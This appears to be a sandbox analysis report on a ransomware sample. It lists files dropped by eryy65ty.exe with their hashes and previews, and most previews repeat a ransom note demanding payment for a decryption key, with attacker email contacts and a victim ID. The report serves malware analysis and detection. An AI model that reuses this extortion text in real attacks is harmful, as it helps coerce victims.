                                                                                                                                        Preview:Fwtrs.....`.?f4.U..>k.1....joD.@...A...z..X...8~.....s...c..,.[j.v.g.!...`....D.y2.-.....#..f. .\@.F...Z`:.....m.@.V....$.i..P.{......7_.....eFQ.....C..j+....=.e.a[..].d...m...CK...q,.ASYFb.....Y..-K.9.|....... A..y....I...y.<...Wj2....x....9E..u.nw.g.Q..>G...}(|...j.j_.]R[.......a.lq.L}...jC..1.P.......b...... ....6\.=..g..@...a(....x..Q....-..X.6m.hn...D,.#nK....1,.!....P..V......}.....9...&.Z.....qJY..[..0.[y.%..C....... b;.]....g7..a...g.........wP8G..w.8.,;..;.T.4../...O.+$..".H-....ch.b....'UZ.....a.p^...&..D+,....e.$E..q9.....K.....EX..0>.!e.....c..Q..;..w.q..........*.:...}...1...X..t.7de.C...B2.N.;....a..p.........9......%...... .q.=h.["..9.&.].'........`..W:q_90xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):734
                                                                                                                                        Entropy (8bit):7.667338089352823
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:9XurfQQt0TbxO24o8LJxkt5pW23Z+cIXkY1jwQnAYiiiSzNSJRNt3Y0/2Q579PY9:9+ro8Qbx94oou3FyXD1jP9WSsJRNt3ve
                                                                                                                                        MD5:250722AB412F80668574EE007FB04752
                                                                                                                                        SHA1:1A2FA846EBC088C90883C0ADA2E97768215B2A97
                                                                                                                                        SHA-256:BE89225AF74549F4A49938679172F2D3DF49BFC5D4B92EF04415DEE6C6C47E10
                                                                                                                                        SHA-512:BE5A128912815C8C954A68A1D5E1854820312B3DA95BDC7656130045A846492ED3BF82B69E22094D222F6D3E1DAC0DF7420CD8F663B8C9BB6D343BCEB279F161
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:Fwtrs.....`.?f4.U..>k.1....joD.@...A...z..X...8~.....s...c..,.[j.v.g.!...`....D.y2.-.....#..f. .\@.F...Z`:.....m.@.V....$.i..P.{......7_.....eFQ.....C..j+....=.e.a[..].d...m...CK...q,.ASYFb.....Y..-K.9.|....... A..y....I...y.<...Wj2....x....9E..u.nw.g.Q..>G...}(|...j.j_.]R[.......a.lq.L}...jC..1.P.......b...... ....6\.=..g..@...a(....x..Q....-..X.6m.hn...D,.#nK....1,.!....P..V......}.....9...&.Z.....qJY..[..0.[y.%..C....... b;.]....g7..a...g.........wP8G..w.8.,;..;.T.4../...O.+$..".H-....ch.b....'UZ.....a.p^...&..D+,....e.$E..q9.....K.....EX..0>.!e.....c..Q..;..w.q..........*.:...}...1...X..t.7de.C...B2.N.;....a..p.........9......%...... .q.=h.["..9.&.].'........`..W:q_90xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):290
                                                                                                                                        Entropy (8bit):7.274021536505612
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:v08+5MHJGj9r7mOVR9+ybzA0ZK1TgNKowUgfV23qOKInDHHn:s1IJBOVnkZszrgY6OKIDHHn
                                                                                                                                        MD5:2C70D69F7AE3DC06BACFD0346E56707B
                                                                                                                                        SHA1:1F4EA465D548863AC542C6003224D60E38B2EE40
                                                                                                                                        SHA-256:021D17028DD6443E7405258A06D411015EB54B5AE3178645BF54C7A36BB963AC
                                                                                                                                        SHA-512:938C0C5E662E920524FDBF92FE6FF22EB6440133A8AAB4B5663D81221E309AFBDD98E551E99B177A1342C296734EB5A5EF061CF969180289057476B6C53578F2
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:(z9B...'T.C.p'Q..q+i3>...oH.3.2....;x_.pc....P\.Z.S.......e...{...:....s..$..Q'J. OH.+_wc...i.L.=.k..E...qr....0Cz.......q. .^~p...../...*L..e..!..<$...%e...^.`........_W%H./.<.2.."...a.y...w.qa....'..Sjy{...W.E..(.,{K..2.|B.Z.P.V."..`Y#.+L-)...-.jE..J...E.t_.f..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):290
                                                                                                                                        Entropy (8bit):7.274021536505612
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:v08+5MHJGj9r7mOVR9+ybzA0ZK1TgNKowUgfV23qOKInDHHn:s1IJBOVnkZszrgY6OKIDHHn
                                                                                                                                        MD5:2C70D69F7AE3DC06BACFD0346E56707B
                                                                                                                                        SHA1:1F4EA465D548863AC542C6003224D60E38B2EE40
                                                                                                                                        SHA-256:021D17028DD6443E7405258A06D411015EB54B5AE3178645BF54C7A36BB963AC
                                                                                                                                        SHA-512:938C0C5E662E920524FDBF92FE6FF22EB6440133A8AAB4B5663D81221E309AFBDD98E551E99B177A1342C296734EB5A5EF061CF969180289057476B6C53578F2
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:(z9B...'T.C.p'Q..q+i3>...oH.3.2....;x_.pc....P\.Z.S.......e...{...:....s..$..Q'J. OH.+_wc...i.L.=.k..E...qr....0Cz.......q. .^~p...../...*L..e..!..<$...%e...^.`........_W%H./.<.2.."...a.y...w.qa....'..Sjy{...W.E..(.,{K..2.|B.Z.P.V."..`Y#.+L-)...-.jE..J...E.t_.f..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.190704856971251
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:zCtUD4wij1fGG2R7wzrTSuzDCmP1YOEnkv5Sb3FqxSn:iU4wApGGdrzDlIkQb3ySn
                                                                                                                                        MD5:06581BA69EE0ECA1704A033B656CFAE5
                                                                                                                                        SHA1:BD763208C562FD6643CCF6D856C7823800838338
                                                                                                                                        SHA-256:C0DB178398262D55741256E7F6BE1130D8C3D372D30AF86D7EF3BAC19D18C6D9
                                                                                                                                        SHA-512:8AA54542B05088D44985554B7430B41F08C8D6D461F50FB3CEAABC7B84450F7EE7E242135481DE578CD081E5901A480E0C5C663CBAA28CFA21F610DEC0949BF6
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.W.V..s...G.A.+..............-d..K:.|.....7..(..P..o.=.~........*8....pE.x.m.Io/3l....D..m.v.Y.~&......{.3..".P.W.>..ma...i...t.P....M.R..'WT.5<Pr.f...1...P.P{b...)!..d.w.j..)7....H7.c.*..".3A.x............|@.CZxvD.{].jk;.n..u"........3....v.AV.<[0h)..v.lo.NLB.....K1T..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1284
                                                                                                                                        Entropy (8bit):7.848615325120423
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:4KsLmZ+2LHmBK25+aE8EKS/IZrzSLQaZNI43eOSGeo6g4:4TONT2KO+alEWresaZ643BSGJq
                                                                                                                                        MD5:9D7F54619896F4B79E982C7832349875
                                                                                                                                        SHA1:B6F399D76BF634A1873B012650177BFEB938B1DA
                                                                                                                                        SHA-256:6E9A9EC85257FA6887276014A4C9432340A4DD12EC609EE1D6670C93363BAC80
                                                                                                                                        SHA-512:9F1939C4CAC3FD59355557D0B4AB4835DA509CE195D11BC1B8004D1A9E3E9C58A3FB6296439B53FD25DC1E1636BF58B3ED1071253256FD6B4D8668A6FE17D647
                                                                                                                                        Malicious:false
